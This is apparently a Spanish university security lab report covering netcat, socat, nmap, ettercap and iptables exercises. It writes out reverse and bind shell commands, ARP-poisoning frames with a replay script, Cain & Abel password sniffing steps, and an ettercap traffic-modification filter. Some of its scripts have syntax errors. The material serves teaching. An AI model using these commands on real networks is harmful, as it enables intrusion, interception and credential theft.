Sei sulla pagina 1di 80

Laboratorio de Seguridad Informática

Ejercicios Práctica # 1
Juan Camilo Correa Chica 1128270222
Profesor: David Mora Rodríguez

Ejercicio 1

Escriba un programa en bash que capture la mayor cantidad de información de


un sitio web. Su programa deberá imprimir de manera ordenada, los correos
electrónicos encontrados, los enlaces encontrados y los nombres de dominio
diferentes al servidor web consultado.

Para realizar este programa se escogió el sitio web

http://bibliotecologia.udea.edu.co/elfaro/biblio/list.html

La primera línea usa el programa curl que transfiere el código fuente un sitio
web, con la tubería pasamos el código como argumento al programa grep con
las banderas para usar una expresión regular compuesta. La expresión regular
busca las sentencias que empiecen por “www.”, seguido de 1 a 25 caracteres y
finalizado en “.com”, esta sentencia busca los dominios .com que se
encuentren en dicho código fuente.

La segunda línea usa el grep para buscar las sentencias donde exista “http” lo
pasa por la tubería al programa awk para que imprima de la tercer palabra en
adelante luego se hace de nuevo grep para que refine la búsqueda de “http”, se
corta lo que haya entre las columnas 9 y 70 con el comando cut y finalmente se
corta de nuevo con cut para que corte lo que exista del carácter “<” en adelante
que corresponde la parte del código fuente </font…., esta línea busca los
enlaces a otros sitios que hay en la página.

La última línea de código busca las direcciones de correo que hay en el sitio
web, el comando grep –oE busca las coincidencias con la expresión regular
extendida, la expresión hace alusión a las sentencias que comiencen por
cualquier combinación de caracteres alfanuméricos sin distinguir entre
mayúsculas y minúsculas, y los símbolos “-“ y “_”, seguidos del símbolo “@”
este a su vez seguido por una combinación de caracteres alfanuméricos y el
símbolo “-“ y finalmente seguido por un punto y de 2 a 4 letras minúsculas que
corresponderían al dominio del correo electrónico.
Ejercicio 2

Utilice sus conocimientos para escribir un script en bash que intente localizar
utilizando un diccionario (puede utilizar este dns.txt) la mayor cantidad de
nombres para un dominio que se ingresa por la línea de comandos.

Su programa debe terminar en la menor cantidad tiempo posible y ha de


producir un archivo que contenga UNICAMENTE las direcciones IP de los
servidores encontrados.

Ayuda: Existen númerosas herramientas para realizar esta tarea, se sugiere


observar los manuales de los programas nslookup, dig y host.

Esta línea de código lee las líneas de un archivo de texto y lo que hay en cada
línea lo concatena con .google.com y le hace un “host” que proporciona la
dirección ip del dominio si este existe, luego con grep buscamos solo las líneas
donde exista la palabra “adress” y con awk imprimimos solo la palabra donde
se encuentra la ip del dominio, en este caso era la cuarta palabra en orden por
cada línea y además se le agrega el símbolo “&” al final para que haga todas
las iteraciones en segundo plano y por ende lo haga en el menor tiempo
posible y no haya que esperar cada iteración individual del ciclo for.

Pantallazos de la ejecución de los scripts


Encuentra direcciones de correo

Encuentra enlaces y los imprime luego de las direcciones de correo


Usando el diccionario
Laboratorio de Seguridad Informática
Ejercicios Práctica # 2
Juan Camilo Correa Chica 1128270222
Profesor: David Mora Rodríguez

Ejercicio 1

Implemente los siguientes escenarios con Netcat:

Reverse Shell
Bind Shell
Banner Grabber
Port Scanner
Redirección de puertos

Si alguno de estos conceptos no es claro para usted, investigue a que se


refieren estos términos.

Para la implementación de un Reverse Shell con Netcat se ejecutan los


siguientes pasos:

1. Se pone la máquina que recibirá el Shell a que escuche un puerto que le


asignemos con el comando siguiente: nc –lvvp 4444(puerto)

2. Se manda el Shell desde otra máquina con el siguiente comando: nc ip-


maquina-a-enviar-shell 4444(puerto) –e /bin/bash (cmd en Windows)
Para Implementar un Bind Shell con Netcat se hace lo contrario al Reverse,
desde la máquina “víctima” se manda el Shell y nuestra máquina lo captura
escuchando el puerto.
1. En la máquina víctima se ejecuta: nc –lvvp 4444 –e /bin/bash(cmd.exe en
Windows)

2. En nuestra máquina ejecutamos: nc ip-máquina-victima 4444(puerto)

Para realizar un Banner Grabbing con Netcat se ejecuta el siguiente comando


desde nuestra máquina: nc –v –n ip-victima 80(puerto del servicio http)
Para implementar el Port Scanner con Netcat ejecutamos desde nuestra
máquina el siguiente comando: nc –v –w2(tiempo muerto) –z ip-victima port1-
port2(puerto o intervalo de puertos)

Para ejecutar Redirección de puertos (Port Forwarding) con Netcat se ejecutan


los siguientes pasos:
1. En la máquina que llamaremos “A” que en este caso es nuestra máquina se
ejecuta el comando: nc -vv 192.168.1.2 (ip maquina “B” y el puerto) -p 80

2. En la máquina “B” que será la que interconecte a “A” con “C” se ejecuta el
comando: nc -lvvp 80 | nc -vv 192.168.1.3 (ip máquina “C” y puerto) -p 5555

3. En la máquina “C” se ejecuta: nc -lvvp 5555

La idea es conectar a “A” y “C” por el puerto 5555 con ayuda de “B”, el
problema es que el tráfico de “A” hacia “C” fluye sin problemas pero lo que
viene de “C” hacia “A” se queda estancado en “B”, una solución al problema
podría ser si se ejecuta el siguiente comando en “B” que a mi no me funciono
porque mi Netcat no tiene la opción -b: nc -lvvp 80 | nc -vv 192.168.1.3 -p 5555
| nc -lvv -b -p 80

Ejercicio 2

Estudie el funcionamiento de la herramienta Socat, y explique las diferencias


con Netcat. Explique cuáles son las ventajas que encuentra en esta
herramienta.

Socat es una herramienta en basada en comandos que establece dos flujos de


bytes entre dos máquina y transfiere datos a través de ellos. Debido a que tales
flujos son construidos desde un amplio conjunto de tipos de datos, interfaces y
fuentes y ya que muchísimos tipos de direcciones pueden ser aplicadosa los
flujos Socat puede utilizarse para muchos y diferentes propósitos.

El ciclo de vida de una instancia Socat tipicamente consta de cuatro pasos


(Directamente de la página oficial de Socat (http://www.dest-
unreach.org/socat/doc/socat.html):

In the init phase, the command line options are parsed and logging is initialized.

During the open phase, socat opens the first address and afterwards the
second address. These steps are usually blocking; thus, especially for complex
address types like socks, connection requests or authentication dialogs must be
completed before the next step is started.

In the transfer phase, socat watches both streams' read and write file
descriptors via select() , and, when data is available on one side and can be
written to the other side, socat reads it, performs newline character conversions
if required, and writes the data to the write file descriptor of the other stream,
then continues waiting for more data in both directions.
When one of the streams effectively reaches EOF, the closing phase
begins. Socat transfers the EOF condition to the other stream, i.e. tries to
shutdown only its write stream, giving it a chance to terminate gracefully. For a
defined time socat continues to transfer data in the other direction, but then
closes all remaining channels and terminates.

Socat es una evolución de Netcat que soporta conexiones SSL, Proxy SOCKS,
etc. Por lo que la convierte en la herramienta ideal para establecer un túnel
cifrado temporal para comunicaciones que no lo soporten realmente.

Algunas implementaciones que pueden realizarse con Socat (info obtenida del
documento DEFEATING THE NETWORK SECURITY INFRASTRUCTURE de
RadarHack.com

Socat sirve principalmente para transferir datos entre dos canales de datos, por
ejemplo cualquier dato que Socat recibe por el puerto 6666 se le pasa nuestra
compañía por el puerto 80 y sirve tanto para HTTP como para SSH, TELNET,
FTP, etc…

#socat TCP4-LISTEN:6666 TCP4:www.company.com:80

Socat sirve para acceder a servicios SSL habilitados, y funciona también para
HTTPS, IMAPS, POPS, LDAPS, etc…

#socat TCP4-LISTEN:6666 OPENSSL:192.168.123.50:443

Socat puede redirecionar conexiones a través de un proxy HTTP

# socat TCP4-LISTEN:6666 TCP4:proxy.company.com:8080

Ejercicio 3

Estudie el funcionamiento de la herramienta SBD (Shadowinteger‟s Backdoor),


y explique las diferencias con Netcat. Explique cuáles son las ventajas que
encuentra en esta herramienta.

SBD es descrito como un “Clon de Netcat” diseñado para ser portable y ofrecer
una fuerte encriptación. Soporta encriptación aes-128 y está disponible en la
mayoría de plataformas incluyendo Linux y Win32. Aunque el SBD es bastante
pobre en cuanto a utilidades respecto al Netcat tiene una gran ventaja ya que
gracias a su “build-in encryption” se pueden evitar muchos sistemas IDS/IPS,
aunque es preferible usarlo en puertos distintos a los “well-known”.
1. Conectarse a un servidor remoto: A continuación se describe la forma más
simple para establecer una conexión TCP con un servidor remoto, con “-c off”
se deshabilita el “default built-in encryption” del cliente sbd.
D:\sbd-1.27\binaries>sbd -c off www.radarhack.com 80
GET / HTTP/1.1
Date: Thu, 17 Jun 2004 18:38:03 GMT
Server: Apache/1.3.27 (Unix) mod_jk/1.2.0 Chili!Soft-ASP/3.6.2 mod_perl/1.26 mod
_throttle/3.1.2 PHP/4.3.1 FrontPage/4.0.4.3 mod_ssl/2.8.11 OpenSSL/0.9.6h
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
127
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>

….

2. Para coger a una Shell (Bind Shell)

En la máquina que enviará el Shell

En la que va coger el Shell

3. Reverse Shell

En la máquina que va enviar el Shell

En el cliente que quiere obtener el Shell


Laboratorio de Seguridad Informática
Ejercicios Práctica # 3
Juan Camilo Correa Chica 1128270222
Profesor: David Mora Rodríguez

Ejercicio 1

Indique la diferencia entre paquete, segmento y datagrama

El número significativo máximo del parámetro -s es 1514, ¿por qué?

Nota: en máquinas donde no es posible capturar el contenido completo por


problemas de almacenamiento, la opción -s puede quitar muchos dolores de
cabeza.

Paquete: Resultado del proceso de encapsulación que llega a la capa 3 desde


la capa 4. Contiene direcciones lógicas, ya sea IP, IPv6, etc, de acuerdo al
protocolo de capa 3 en uso, estas direcciones no cambian en el trayecto que
sigue el paquete desde su origen hasta el destino. Otra forma más familiar de
decirlo es como se le llama a la PDU (Protocol Data Unit) en la capa IP o de
Red, por eso es que en capa 3 hablamos de paquetes IP.

Datagrama: Resultado del proceso de encapsulación de la información que


llega desde la capa 3. Contiene direcciones físicas para identificar los equipos
en el ámbito local, las direcciones físicas cambian a medida que el datagrama
atraviesa los diferentes enlaces físicos que constituyen el camino hacia el
destino del paquete siempre y cuando este salga de la red local. El Datagrama
es también conocido como trama Ethernet en redes cableadas o trama WiFi en
inalámbricas, la forma más fácil de verlo es como se le llama a la PDU en la
capa de enlace o en la MAC.

Segmento: Capa de transporte. Contiene identificadores llamados "número de


puerto" que sirven para marcar los paquetes que se intercambian entre dos
hosts, para que estos puedan saber que aplicaciones son las que envían o
cuales deben recibir dichos paquetes. Es como se le llama a la PDU en la capa
de Transporte o TCP, por eso es que oímos hablar de segmentos TCP.

El parámetro –s indica el número de bytes que se quieren colectar, el número


máximo es 1514 porque como se trabaja en un entorno de direcciones físicas
(MAC) entonces las PDU son tramas Ethernet que tienen un encabezado
(header) de 14 bytes y un MTU (Maximum Transfer Unit) de 1500 bytes.
Ejercicio 2

TShark es el analizador en modo de texto del analizador gráfico de protocolos


WireShark. TShark ofrece una potente alternativa a tcpdump para analizar
paquetes. El resultado de TShark es ligeramente distinto del de tcpdump,
TShark tambien soporta los BPF y su sintaxis es un poco diferente a la
mostrada en las secciones anteriores.

Intente reconstruir todos los filtros de las secciones anteriores usando


Tethereal (Wireshark), utilice Netcat para generar dicho tráfico.
Capture el tráfico de un bind y reverse shell
Capture el tráfico de un scanner de puertos implementado con netcat
Cree un filtro que solo capture peticiones HTTP GET, utilice a google para
dicha tarea.

A continuación se muestra la reconstrucción de los filtros con TShark y


pantallazos de su implementación

Filtro IP any

tshark –n –i (interface) –s 1514 –c 4 –R “ip”

Filtro ip source

tshark –n –i (interface) –s 1514 –c 2 –R “ip.src eq (ip victima)”

Filtro ip dest

tshark –n –i (interface) –s 1514 –c 2 –R “ip.dst eq (ip víctima)”

Filtro ip block

tshark –n –i (interface) –s 1514 –c 2 –R “ip.addr eq 192.168.30.1/24”

Filtro tcp

tshark –n –i (interface) –s 1514 –c 2 –R “tcp”

Filtro not tcp

tshark –n –i (interface) –s 1514 –c 2 –R “not tcp”

Filtro not arp

tshark –n –i (interface) –s 1514 –c 2 –R “not arp”


Filtro tcp dst port

tshark –n –i (interface) –s 1514 –c 2 –R “tcp.port==(puerto) and ip.dst==(ip


victima)”

Algunas capturas de la implementación de los filtros


Tráfico de un bind y reverse Shell

Bind Shell

Reverse Shell

Tráfico de un port scanner implementado con Netcat

Cree un filtro que solo capture peticiones HTTP GET, utilice a google para
dicha tarea.

Pues “googoliando” encontré una implementación de tshark con awk para


capturar peticiones HTTP/GET, el autor se hace llamar Andy Skelton (“Just
Another Wordpress hacker”) y la implementación puede encontrarse en el blog
en Wordpress de el autor: http://andy.wordpress.com/2008/07/10/sniffing-http/
tshark -i eth0 -f 'host 1.2.3.4' -R 'http' -S -V -l | awk '/^[HL]/ {p=30} /^[^ HL]/ {p=0}
/^ / {--p} {if (p>0) print}'

También existe otra alternativa:

tshark –a –n –i (interface) –s 1514 –c 500 –R “http.request.method==”GET”


Laboratorio de Seguridad Informática
Ejercicios Práctica # 4
Juan Camilo Correa Chica 1128270222
Profesor: David Mora Rodríguez

Ejercicio 1

El procedimiento presentado en la guía es la mitad de un ataque de hombre en


el medio. Realice los pasos necesarios para realizar la otra mitad (envenenar la
tabla arp del enrutador o gateway de la red), una vez que lo logre, debe permitir
a su equipo enrutar tráfico (modificando ip_forward, por ejemplo).

Con estos pasos el ataque de hombre en el medio será exitoso y usted podrá
usar un sniffer para ver todo el tráfico de la víctima.

¿Es posible realizar este ataque en redes conmutadas?

Este ataque solo es posible en redes conmutadas ya que es un ataque que


involucra

El protocolo ethernet define uno de sus campos como un campo de verificación


al final de la trama, explique por qué no es necesario realizar dicho calculo
antes de enviar los paquetes con file2cable.

A continuación presento el escenario que se daba en el laboratorio de


telemática

IP máquina atacante: 192.168.30.107


MAC máquina atacante: 00 25 64 D7 FD 5B

IP máquina víctima: 192.168.30.109


MAC máquina víctima: 00 25 64 D5 B7 07

IP gateway nutibara.red-udea (telematica): 192.168.30.51


MAC gateway nutibara.red-udea (telematica): 00 11 25 3F 11 F9

A continuación muestro la trama ethernert enviada para envenenar la tabla


ARP del host víctima (arp1.cap)

00 25 64 D5 B7 07 00 25 64 D7 FD 5B 08 06 00 01 08 00 06 04 00 02 00 25 64 D7 FD 5B C0
A8 1E 33 00 25 64 D5 B7 07 C0 A8 1E 6D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

telematica@telematica-desktop:~/Escritorio$ sudo file2cable -i br0 -f arp1.cap


file2cable - by FX <fx@phenoelit.de>
Thanx got to Lamont Granquist & fyodor for their hexdump()
Utilizando el sniffer Wireshark se puede verificar que la ip del gateway aparece
con la MAC de nuestra máquina atacante, también se adjunta una captura
donde se observa la tabla ARP de la máquina víctima y efectivamente está
envenenada. En Wireshark se usa el filtro eth.type==0x0806.
A continuación muestro la trama ethernert enviada para envenenar la tabla
ARP del gateway (arp2.cap)

00 11 25 3F 11 F9 00 25 64 D7 FD 5B 08 06 00 01 08 00 06 04 00 02 00 25 64 D7 FD 5B C0
A8 1E 6D 00 11 25 3F 11 F9 C0 A8 1E 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

telematica@telematica-desktop:~/Escritorio$ sudo file2cable -i br0 -f arp2.cap


file2cable - by FX <fx@phenoelit.de>
Thanx got to Lamont Granquist & fyodor for their hexdump()

Utilizando el sniffer Wireshark se puede verificar que la ip del host víctima


aparece con la MAC de nuestra máquina atacante y efectivamente está
envenenada. En Wireshark se usa el filtro eth.type==0x0806.
Para automatizar el ataque puede usarse el siguiente script

#!/bin/bash
while[1];do
sudo file2cable -i br0 -f arp1.cap
sudo file2cable -i br0 -f arp2.cap
sleep2
done
Para poder que la máquina atacante haga enrutamiento de paquetes y pueda
observar el tráfico que tiene como destino el host víctima se debe ingresar al
terminal como super usuario con el comando sudo su y ejecutar la siguiente
línea de comando:

echo 1 > /proc/sys/net/ipv4/ip_forward

(root@telematica-desktop:/home/telematica# echo 1 > /proc/sys/net/ipv4/ip_forward)

Ejercicio 2

Como es usual se han desarrollado herramientas que automatizan este


ataque.

Una de las herramientas más populares en MS Windows es desarrollada por


oxid-it, y se conoce como Cain & Abel. Cain & Abel, nace como una
herramienta para vulnerar contraseñas del sistema operativo para el que es
desarrollada. Con el tiempo ha pasado por diferentes versiones y hoy
implementa el escenario de Envenenamiento ARP.

Utilice esta herramienta para implementar un ataque de hombre en el medio y


utilícela para capturar contraseñas.

Se adjunta a continuación un corto manual o serie de pasos para ejecutar un


envenenamiento ARP desde una máquina Windows con el software Cain&Abel.

1. Se da clic en Start Sniffer (Icono que es como una tarjeta de red)

2. Entrar a la pestaña Sniffer, dentro de esta pestaña entrar a la pestaña Host y


clic en el signo "+" azul para agregar los hosts de la red.

3. Clic en la pestaña ARP (icono de radiactivo), una vez allí clic en el signo "+",
en esta ventana al lado izquierdo seleccionamos el "target" y en la derecha el
router o servidor (Gateway).

4. Clic en el icono de radiactividad (Start/Stop Poisoning).

5. Ir a la pestaña Passwords (icono llaves) y entre los diferentes menús se


pueden ver contraseñas.

A continuación se adjuntan algunos pantallazos del proceso, para completar la


experiencia se ingreso desde la máquina víctima a una cuenta de correo cuya
seguridad deja mucho que pensar cuando actualmente existen tantas formas
de encriptar o codificar los datos, se usaron los siguientes datos falsos
inventados que se me vinieron a la cabeza en ese momento, login: perro y
password: viejo.

Seleccionando la víctima y el Gateway.


Aquí el programa muestra cuando está envenenando y una vez completado el
envenenamiento se pueden ver conexiones en está pantalla. Al lado izquierdo
se puede observar la ip y la MAC de la víctima, ídem para el Gateway pero en
el lado derecho.
Pueden observarse el login y password falsos que se mandaron desde la
máquina víctima al servidor de correo.
Ejercicio 3

Como es usual se han desarrollado herramientas que automatizan este


ataque.

Una de las herramientas más populares en GNU/Linux y disponible bajo la


licencia GPL se conoce como Ettercap. Ettercap soporta sniffing de conexiones
vivas, filtrado de contenido al vuelo, entre otras. Soporta el desensamblado
activo de protocolos (incluyendo protocolos cifrados).

Utilice esta herramienta para implementar un ataque de hombre en el medio y


utilícela para:

- Hacer DNS SPOOFING - Filtrado y modificación de contenido al vuelo.

Primero se descarga el ettercap, puede hacerse con sudo apt-get install


ettercap

Para ejecutarlo hay que estar como superusuario y con el comando ettercap –C

Una vez abierto se le asigna la máscara de la red que va ser atacada y en el


modo de sniffing se selecciona la opción Unified Sniffing

Sale un nuevo prompt, lo primero que se hace es un escáner de los host de la


red
Luego se seleccionan de la Lista de Host las víctimas del ataque, por lo general
el Gateway de la red y un host víctima.

Luego en la pestaña Mitm se selecciona la opción ARP Poisoning, una vez


hecho esto en la pestaña Star se selecciona Start sniffing, el programa
pregunta por la interfaz, en este caso eth0 y por el parámetro de conexión, ahí
se pone remote
En este punto se tiene un escenario de hombre en el medio pero para hacer
modificaciones al vuelo es necesario un paso más, se requiere construir y
compilar un filtro con ettercap que permita modificar por ejemplo los contenidos
web que van del Gateway hacia la víctima.

En la red se pueden encontrar muchos ejemplos y páginas donde enseñan


hacer filtros para ettercap, se escogió el siguiente para hacer modificaciones al
contenido web

#Filtro para modificacion de contenido al vuelo

if (ip.proto == TCP && tcp.dst == 80) {


if (search(DATA.data, "Google")) {
replace("Google", "elgooG");
# nota: la linea que se reemplaza debe ser del mismo
# tamaño de la original
msg("Modificando Google!\n");
}
}

Este filtro discrimina lo que envía el Gateway a la víctima por protocolo (TCP),
puerto destino, el 80, y busca el dato que se quiere modificar, en este caso se
quiere que todo lo que diga Google sea cambiado por elgooG y que cuando lo
haga de un aviso en el prompt de ettercap.
Se guarda el filtro con un nombre, en este caso se llamo “filtrico”, y luego se
compila con la herramienta etterfilter que usa el ettercap para este tipo de
trabajo.

Entonces el comando va ser:

etterfilter filtrico –o filtro.ef

El archivo de salida filtro.ef es el filtro compilado y listo para ser usado con
ettercap

Una vez se tiene el filtro, en la pestaña Filters se selecciona la opción Load


filter…, una vez allí se selecciona filtro.ef y empieza a correr el filtro.
Este es un ejempo de “Irongeek” donde el remplaza todas las imágenes de los
sitios web por una imagen que el escogió (una calavera).
Laboratorio de Seguridad Informática
Ejercicios Práctica # 5
Juan Camilo Correa Chica 1128270222
Profesor: David Mora Rodríguez

Ejercicio 1

Realizar una exploración de puertos TCP desde una maquina remota,


comentar y hacer capturas de pantalla del comando utilizado y el resultado.
Iniciar el servidor web en una maquina y repetir la exploración anterior.

En un shell diferente iniciar tcpdump para que capture tráfico de la maquina


escaneada, utilizar nmap para explorar el puerto 80 usando TCP SYN Scan,
comentar el comando y el resultado.

Repetir el punto anterior pero explorar un puerto donde no exista ningún


servicio activo Repetir los dos apartados anteriores realizando una exploración,
'TCP CONNECT', 'TCP Xmas Tree SCAN', 'ACK/WINDOW','Maimon Scan',
'TCP Null' y 'FIN SCAN', explicar cuál es el propósito de cada uno y en que
maquinas objetivo es pertinente.

En este caso se decidió explorar una máquina corriendo Windows, se eligió el


scanner TCP Connect aunque el manual de Nmap sugiere usar SYN scan, la
elección se debió a que se quería una conexión TCP total un 3-way handshake
completo para poder constatar que puertos abiertos de la máquina respondían
al saludo TCP y permitían una conexión completa con ellos.

Usando el servicio web proporcionado por el AbilityServer, se puede observar


con Nmap como ahora están también abiertos los puertos TCP
correspondientes al servicio web, el 80 y el 8080. De nuevo se prefiere el
scanner TCP connect.

Ahora se usará el scanner TCP SYN para explorar el puerto 80 de un servidor


web.

Para habilitar el servicio web Apache de Ubuntu se usa el siguiente comando,


esto para evitar montar servicio web en otra máquina y aprovechar el que tiene
Ubuntu y conectarnos por la interfaz loopback para capturar estrictamente el
tráfico que nos interesa.

telematica@telematica-desktop:~$ sudo –s//Como super-usuario es mejor

root@telematica-desktop:~# /etc/init.d/apache2 start //Habilitandolo


En una Shell diferente abrimos el tshark y mantenemos a la mano la siguiente
instrucción para capturar el tráfico de nuestra loopback y guardarlo en un
archivo que se llamará capture

Comando utilizado en tshark:

Resultado de la exploración y captura

Puede observarse como Nmap envía un segmento TCP con la bandera SYN
activa, la máquina responde por el puerto 80 con un ACK a la petición SYN y el
Nmap responde con RST finalizando la conexión.

Ahora explorando en la misma máquina pero en un puerto que no está activo

Nmap envía el segmento TCP con SYN activado pero el puerto cerrado
responde con RST ACK indicándole a Nmap que no es posible un 3-way
handshake por ese puerto y de ahí Nmap determina que el puerto está cerrado.
Scanner TCP CONNECT (-sT): Nmap para esta exploración emplea el saludo
de 3 vías que la gran mayoría de aplicaciones de red implementan, sea un web
browser, un cliente Peer2Peer, etc.

Resultado en el puerto 80 de la máquina

Resultado en un puerto inactivo

Scanner Xmas Tree (-sX): Tipo de exploración utilizado cuando se quiere


generar poco tráfico y que no aparezcan registros en los logs de la aplicación
que opera sobre el puerto escaneado. Requiere ser ejecutado por un usuario
con privilegios ya que utiliza la capacidad del OS para generar paquetes que
normalmente no se verían en la red. Proveen información acerca de equipos
no-Windows, en el caso contrario muestra el estado de los puertos como
cerrado sin importar cual sea su estado real.
Resultado en el puerto 80 de la máquina

Se observa como Nmap envía segmentos TCP con las banderas FIN, PSH y
URG activadas que no es un paquete común en la red y el puerto abierto
responde con el mismo segmento y como estamos explorando una máquina
basada en Unix nos indica que el puerto está abierto pero filtrado.

Resultado en un puerto inactivo

El puerto cerrado cierra la conexión.

Scanner TCP ACK (-sA): Con esta exploración no se puede determinar si el


puerto está abierto o no, en cambio se puede saber si existe un firewall en la
máquina objetivo filtrando los paquetes que llegan el puerto de interés, los
puertos que no están filtrados responden con RST y son marcados como
unfiltered y los puertos que no responden o mandan ciertos mensajes de error
ICMP son marcados como filtered.
Resultado en el puerto 80 de la máquina

El ACK alcanza el puerto y el puerto se muestra como unfiltered.

Resultado en un puerto inactivo

El ACK alcanza el puerto y el puerto se muestra como unfiltered.

Scanner TCP Window (-sW): Es igual al scanner ACK pero en vez de mostrar
si el puerto está filtrado o no, muestra si está abierto o cerrado inspeccionando
el valor de la ventana que los sistemas envían incluso en las respuestas RST,
si la ventana es 0 el puerto está cerrado y si es positiva está abierto.
Resultado en el puerto 80 de la máquina

Resultado en un puerto inactivo

Scanner TCP Maimon (-sM): Es igual a una exploración FIN, NULL o Xmas,
exceptuando que manda un segmento FIN/ACK, la máquina objetivo debería
responder con un RST independientemente de si el puerto está abierto o no.
Resultado en el puerto 80 de la máquina

Resultado en un puerto inactivo

Scanner NULL (-sN): Igual a la exploración FIN y Xmas con la diferencia de


que no manda banderas en el encabezado del segmento TCP, sirve para
generar poco tráfico y no dejar registros en los log de la máquina objetivo.

Resultado en el puerto 80 de la máquina


Resultado en un puerto inactivo

Scanner FIN (-sF): Es igual a las exploraciones NULL y Xmas pero solo envía
la bandera FIN del encabezado TCP, muestra el estado de los puertos y si
están filtrados o no, sirve para generar poco tráfico y no dejar registros en los
log de la máquina objetivo.

Resultado en e puerto 80 de la máquina

Resultado en un puerto inactivo


Ejercicio 2

Unicornscan no es en realidad un escanner de puertos, si no un Payload


Sender. Usted puede usar Unicornscan para enviar diferentes PAYLOADS,
desde solicitudes SNMP GET, hasta buffers de exploits, imagínese realizar un
ataque a 1000 IPs por segundo.

Cree una solicitud HTTP HEAD con Unicornscan.

Si uno revisa el archivo /etc/unicornscan/payloads.conf, va encontrarse con


entradas parecidas a la siguiente:

/* echo */
udp 7 -1 1 {
"we mean you no harm\n"
};

Esa entrada especifica la ejecución de un “payload” cuando se realiza un


escaneo UDP al puerto 7. El -1 en la tercera columna le indica a Unicornscan
que el escaneo puede realizarse desde cualquier puerto fuente y el 1 en la
cuarta columna indica que el “payload” pertenece al grupo 1 de payloads. La
numeración de los grupos de payloads es para agruparlos, el grupo por defecto
es el 1, si uno desea agrupar payloads “peligrosos” o destinados a sistemas
operativos en específicos puede usar algún número distinto de 1 para
agruparlos.

La línea "we mean you no harm\n" se enviará a las IP destino especificadas al


puerto 7, esta línea es un ejemplo de un payload ASCII, también pueden
mandarse HEX y Octales.

Hay que tener en cuenta que en escaneos UDP se manda el payload al puerto
especificado cuando se ejecuta el escaneo, pero en escaneos TCP es
necesario especificar el modo de escaneo sf (-msf) para que el rastreo de la
conexión se haga por fuera del kernel ya que de otro modo si por ejemplo se
manda una solicitud SYN desde una IP rastreada por el kernel y como
respuesta se recibe un SYN/ACK, entonces el kernel manda un RST y termina
la conexión, entonces es necesario usar una IP que no esté rastreada por el
kernel que se puede lograr con un programa llamado Fantaip que lo que hace
es tomar una tarjeta de red y una IP como argumentos y comienza a responder
a las ARP Request que tienen como destino la IP especificada. Un ejemplo de
su uso:

# fantaip -i eth0 192.168.1.2


Ahora asumiendo que tenemos el fantaip corriendo usamos el parámetro –s en
el Unicornscan para especificarle la IP fuente, de este modo:

# unicornscan -s 192.168.1.2 -msf www.google.com:80

Para mandar una solicitud HTTP HEAD tenemos que copiar la siguiente
entrada en el archivo /etc/unicornscan/payloads.conf

tcp 80 -1 2 {
"HEAD / HTTP/1.0\r\n\r\n"
};

Y para usarla se hace lo siguiente, seguros de que fantaip está corriendo, el G2


indica que use payloads del grupo 2:

# unicornscan -s 192.168.1.2 -msf -G2 www.google.com:80


Laboratorio de Seguridad Informática
Ejercicios Práctica # 6
Juan Camilo Correa Chica 1128270222
Profesor: David Mora Rodríguez

Ejercicio 1

¿Cómo determinar si iptables se encuentra disponible en el kernel?

Se ejecuta en el terminal: modprobe –l | grep table | less

¿Cual es la diferencia entre una cadena y una tabla?

Una cadena es un conjunto de reglas, mientras que la tabla contiene cadenas


que procesan un paquete de acuerdo a la etapa en que se encuentre.

¿Como se llama la cadena de entrada de paquetes?

Se llama INPUT

¿Como se llama la cadena de salida de paquetes?

Se llama OUTPUT

¿Que tiene de mal la siguiente linea?


iptables -D input -j DROP

El comando anterior intentará borrar una regla llamada “input”, el error es que si
se va a usar como cadena debe ser en mayúsculas “INPUT” de lo contrario si
la regla “input” no existe sale el siguiente mensaje de error: iptables: Bad rule
(does a matching rule exist in that chain?)

¿Que tiene de mal la siguiente linea?


iptables -A INPUT -j DROP

Que ningún paquete va poder ingresar a la máquina es equivalente a un


“DENY ALL INPUTS” una denegación a cualquier paquete entrante.

¿Con que parámetro de iptables borro todas las cadenas de una tabla?

iptables –t tabla –F
Ejercicio 2

Explique el funcionamiento del archivo flush.sh


#!/bin/sh
IPTABLES="/usr/sbin/iptables"
$IPTABLES -F
$IPTABLES -t nat -F
$IPTABLES -t mangle -F
$IPTABLES -P INPUT ACCEPT
$IPTABLES -P FORWARD ACCEPT
$IPTABLES -P OUTPUT ACCEPT
$IPTABLES -t nat -P PREROUTING ACCEPT
$IPTABLES -t nat -P POSTROUTING ACCEPT
$IPTABLES -t nat -P OUTPUT ACCEPT
$IPTABLES -t mangle -P PREROUTING ACCEPT
$IPTABLES -t mangle -P OUTPUT ACCEPT
$IPTABLES -X
$IPTABLES -t nat -X
$IPTABLES -t mangle -X

En las primeras tres líneas se vacía o limpia el contenido de las tablas filter, nat
y mangle, en las líneas 4 a 11 se establecen las políticas por defecto de las
tablas filter, nat y mangle. En las tres líneas finales se borran las cadenas
establecidas por el usuario en filter, nat y mangle. Este script tiene apariencia
de ser utilizado para “resetear” el firewall cuando se activa.
Laboratorio de Seguridad Informática
Ejercicios Práctica # 7
Juan Camilo Correa Chica 1128270222
Profesor: David Mora Rodríguez

Ejercicio 1

Dado el siguiente script de configuración para Iptables

(1) iptables -F
(2) iptables -X
(3) iptables -P INPUT DROP
(4) iptables -P OUTPUT ACCEPT
(5) iptables -P FORWARD DROP
(6) iptables -A INPUT -i lo -j ACCEPT
(7) iptables -A INPUT -m state --state ESTABLISHED, RELATED -j ACCEPT

Responda las siguientes preguntas:

1. ¿Cuál es la utilidad de las reglas (1) y (2)?

La regla (1) limpia las reglas de la tabla filter y la regla (2) limpia las cadenas
definidas por el usuario.

2. Comentar qué se entiende por políticas por defecto y las que se establecen
en las reglas (3), (4) y (5).

Las políticas por defecto se refieren a la orientación de funcionamiento del


firewall o de una ACL cuando no se le ha configurado ninguna regla, las dos
políticas por defecto son “ACEPTAR” o “DENEGAR”

a) Política por defecto ACEPTAR: en principio todo lo que entra y sale por el
firewall se acepta y solo se denegará lo que se diga explícitamente.

b) Política por defecto DENEGAR: todo esta denegado, y solo se permitirá


pasar por el firewall aquellos que se permita explícitamente.

En la regla (3) la política por defecto que se establece para lo que entra del
exterior es “DENEGAR”, en la regla (4) la política por defecto para lo que sale
de la máquina al exterior es “ACEPTAR” y finalmente en la regla (5) se
establece la política por defecto “DENEGAR” a todo lo que cruce o sea
direccionado a través de las interfaces de la máquina.

